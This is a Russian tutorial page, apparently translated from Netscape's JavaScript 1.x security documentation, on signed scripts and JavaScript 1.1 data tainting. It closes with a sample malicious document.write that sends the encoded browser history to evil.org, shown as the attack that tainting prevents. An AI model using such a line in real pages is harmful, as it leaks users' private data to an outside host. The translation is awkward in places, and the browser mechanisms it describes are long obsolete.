Wiki-учебник по веб-технологиям: JavaScript/ЗахватСобытийИзДругихСерверов ...

Главная | Каталог |

Маркировка скриптов


В процессе разработки скрипта, который вы, возможно, промаркируете, вы можете использовать принципалы кодовой базы для проверки. После завершения модификации скрипта, вам необходимо промаркировать его.

Чтобы предоставить любому скрипту расширенные привилегии, все скрипты на этой же HTML-странице или слое обязаны быть промаркированы. Если вы используете слои, вы может иметь как маркированные, так и немаркированные скрипты, если храните их в разных слоях.

Вы можете маркировать JavaScript-файлы (доступ к которым выполняется через атрибут SRC тэга SCRIPT), инлайн-скрипты, скрипты обработчиков событий и объекты/entities JavaScript. Вы не можете маркировать URL'ы javascript. До того как маркировать скрипт, убедитесь, что вы его идентифицировали соответствующим образом.

Использование утилиты Netscape Signing Tool


После написания скрипта вы маркируете его с помощью утилиты Netscape Signing Tool.

После маркировки


Если вы промаркировали скрипт, а затем изменяете его, вы обязаны повторно маркировать его. Для JavaScript-файлов это означает, что вы не можете ничего изменять в файле. Для инлайн-скриптов – вы не можете изменять ничего между тэгами <SCRIPT ...> и </SCRIPT>. Для обработчиков событий и объектов JavaScript – вы не можете изменять вообще ничего в тэге, содержащем обработчик или объект.

Изменением может быть даже простое удаление пробела в скрипте.

Изменения в байтовом потоке скрипта дезавуируют подпись скрипта. Сюда входит перемещение HTML-страницы между платформами, имеющими разное представление текста. Например, перемещение HTML-страницы с Windows-сервера на UNIX-сервер изменяет байтовый поток и дезавуирует подпись. (Это не влияет на просмотр страниц на разных платформах.) Чтобы избежать этого, вы можете переместить страницу в двоичном режиме. Заметьте, что это изменяет вид страницы в вашем текстовом редакторе, но не в браузере.

Хотя вы не можете вносить изменения в скрипт, вы может изменять окружающую информацию HTML-файла. Вы можете даже копировать маркированный скрипт из одного файла в другой, если вы гарантируете, что в скрипте ничего не меняется.

Маркированные скрипты. Решение проблем.


Ошибки в Java-Консоли


Проверьте консоль Java на наличие ошибок, если ваши маркированные скрипты работают не так, как вы ожидали. Вы можете увидеть такие ошибки:
# Error: Invalid Hash of this JAR entry (-7882)
# jar file: C:\Program Files\Netscape\Users\norris\cache\MVI9CF1F.JAR
# path: 1


Значение path, выведенное для маркированного JavaScript, это либо значение атрибута ID или SRC тэга, предоставляющего скрипт.

Отладка ошибок хэша


Ошибки хэша возникают, если скрипт изменяется после маркировки. Чаще всего причиной этого является то, что скрипты перемещаются с одной платформы на другую в текстовом режиме, а не в бинарном. Поскольку символы разделения строк отличаются на многих платформах, хэш может измениться, если скрипт был маркирован.

Хорошим способом решить эту проблему является использование опции -s для signPages, которая сохраняет инлайн-скрипты в JAR-файле. Вы можете затем распаковать jarv-файл, если получаете ошибки хэша и сравнить его с HTML-файлом для поиска источника проблемы.

Исключение “User did not grant privilege” или диалоговое окно Unsigned Script


В зависимости от того, включили вы принципалы кодовой базы или нет, вы увидите различное поведение при попытке скрипта получить привилегии, если он не маркирован или если его принципалы были сокращены при пересечении/смешивании.

Если вы но включили принципалы кодовой базы и скрипт пытается получить привилегии для немаркированного скрипта, будет вызвано исключение Java, что «user did not grant privilege. Если вы включили принципалы кодовой базы, вы увидите диалоговое окно Java, запрашивающее разрешение для немаркированного кода.

Такое поведение обусловлено либо ошибкой при проверке сертификата принципалов (что вызовет вывод сообщения об ошибке в Java-консоли), либо смешением маркированных и немаркированных скриптов. Есть множество возможных источников немаркированных скриптов. В особенности из-за того, что нет способа маркировать URL'ы javascript: или динамически сгенерированные скрипты, использование которых вызывает сокращение принципалов.

Использование разрушения данных


В JavaScript 1.1 имеется возможность, называемая data tainting\разрушение данных, которая остаётся ограничением безопасности той же самой политики одного источника, но предоставляет средство для секретного доступа к специфическим компонентам страницы. Эта возможность имеется только в JavaScript 1.1; в JavaScript 1.2 она удалена. Если разрушение данных включено, JavaScript может смотреть свойства в другом окне, независимо от того, с какого сервера было загружено второе окно. Однако автор второго окна разрушает (маркирует) значения свойств или иные данные, которые должны быть секретными или закрытыми, и JavaScript не может передать эти разрушенные данные любому серверу без разрешения пользователя. Если разрушение данных отключено, скрипт не может получить доступ к любому свойству окна с другого сервера.

Чтобы включить разрушение, конечный пользователь устанавливает переменную окружения/environment variable.

Как работает разрушение данных


Автор страницы отвечает за разрушение данных в элементах. В таблице перечислены свойства и методы, которые разрушаются по умолчанию.
Объект
Разрушенное свойство
documentcookie, domain, forms, lastModified, links, referrer, title, URL
Formaction, name
любой элемент ввода на формеchecked, defaultChecked, defaultValue, name, selectedIndex, selected, toString, text, value
historycurrent, next, previous, toString
imagename
OptiondefaultSelected, selected, text, value
location и Linkhash, host, hostname, href, pathname, port, protocol, search, toString
Pluginname
windowdefaultStatus, name, status

Вы можете использовать элементы с разрушаемыми данными любым способом в вашем скрипте, но, если ваш скрипт попытается передать значение разрушенного элемента или любые полученные от него данные по сети любым способом (например, при отправке формы или через URL), будет выведено диалоговое окно, чтобы пользователь мог подтвердить или отменить операцию.

Значения, полученные от элемента с разрушенными данными, также разрушены. Если разрушенное значение передаётся функции, return-значение функции разрушается. Если разрушается строка, любые подстроки строки также разрушаются. Если скрипт проверяет разрушенное значение в операторах if, for или while, скрипт сам аккумулирует разрушение.

Вы можете включать и отключать разрушение свойств, переменных, функций и объектов. Вы не можете отключить разрушение свойств или элементов данных другого сервера.

Включение разрушения


Чтобы включить разрушение данных, конечный пользователь устанавливает переменную окружения NS_ENABLE_TAINT таким образом:


NS_ENABLE_TAINT может иметь любое значение; “1” подойдёт.

Если конечный пользователь не включил разрушение и скрипт пытается получить доступ к свойствам окна на другом сервере, будет выведено сообщение, указывающее, что доступ не разрешён.

Чтобы определить, включено разрушение или нет, используйте метод taintEnabled. Следующий код выполняет function1, если разрушение данных включено; иначе выполняется function2.

if (navigator.taintEnabled()) {
   function1()
}
else function2()


Включение и отключение разрушения отдельных элементов данных


Вы можете разрушать элементы данных (свойства, переменные, функции, объекты) в ваших скриптах для предотвращения возвращения значений, которые могут использоваться ненадлежащим образом другими скриптами или публиковаться в рамках другого скрипта. Вам может понадобиться отключить разрушение элементов данных, чтобы другие скрипты могли работать с ними. Вы не можете отключить разрушение данных элементов данных другого сервера.

Вы управляете разрушением элементов данных с помощью двух функций: taint добавляет разрушение данных к элементу, а untaint отключает разрушение данных в элементе данных. Каждая из этих функций принимает в качестве аргумента единственный элемент данных.

Например, следующий оператор удаляет разрушение со свойства, чтобы скрипт мог отправлять его другому серверу:

untaintedStat=untaint(window.defaultStatus)
// untaintedStat может теперь высылаться по URL или методом form post других скриптов


Ни taint, ни untaint не модифицируют свой аргумент; обе функции возвращают маркированную или немаркированную ссылку на объект argument или копию значения примитивного типа (number или boolean). Эта маркировка называетсякод разрушения. JavaScript присваивает уникальный код разрушения каждому элементу данных сервера. Неразрушенные данные имеют код разрушения identity (null).

Разрушение как результат выполнения условных операторов


В некоторых случаях информация разрушения обслуживается потоком управления, а не потоком данных. Для работы с такими ситуациями каждое окно имеет taint аккумулятор разрушения. Аккумулятор разрушения содержит разрушение, проверенное в условной части операторов if, for и while. Аккумулятор смешивает различные taint-коды для создания новых кодов, которые идентифицируют комбинацию источников данных (например, serverA, serverB или serverC).

Аккумулятор разрушения восстанавливается, только если содержит оригинальный taint-код текущего документа. Иначе разрушение накапливается, пока документ не будет выгружен. Все окна, загружающие документы из одного источника, используют общий аккумулятор разрушения.

Вы можете добавить или убрать разрушение из аккумулятора разрушения окна.


Если аккумулятор разрушения для окна одержит разрушение и скрипт пытается передать данные по сети, taint-коды в аккумуляторе разрушения проверяются. Только если аккумулированный скрипт разрушен, а taint-код целевого сервера и taint-код высылаемых данных совместимы, операция будет продолжена. Совместимость здесь означает, что два taint-кода либо равны, либо как минимум один из них имеет значение identity (null). Если скрипт, сервер и разрушения данных несовместимы, выводится диалоговое окно, чтобы пользователь мог подтвердить или отменить загрузку URL или отправку формы.

Аккумулированное разрушение действует в течение setTimeout и до вычисления первого аргумента для setTimeout. Оно работает в document.write в сгенерированных тэгах, так что зловредный скрипт не сможет узнать закрытую информацию типа истории сессии, генерируя HTML-тэг с неявно загружаемым параметром SRC из URL, как здесь:

document.write("<IMG SRC=http://evil.org/cgi.bin/fake-img?" +
   encode(history) + ">")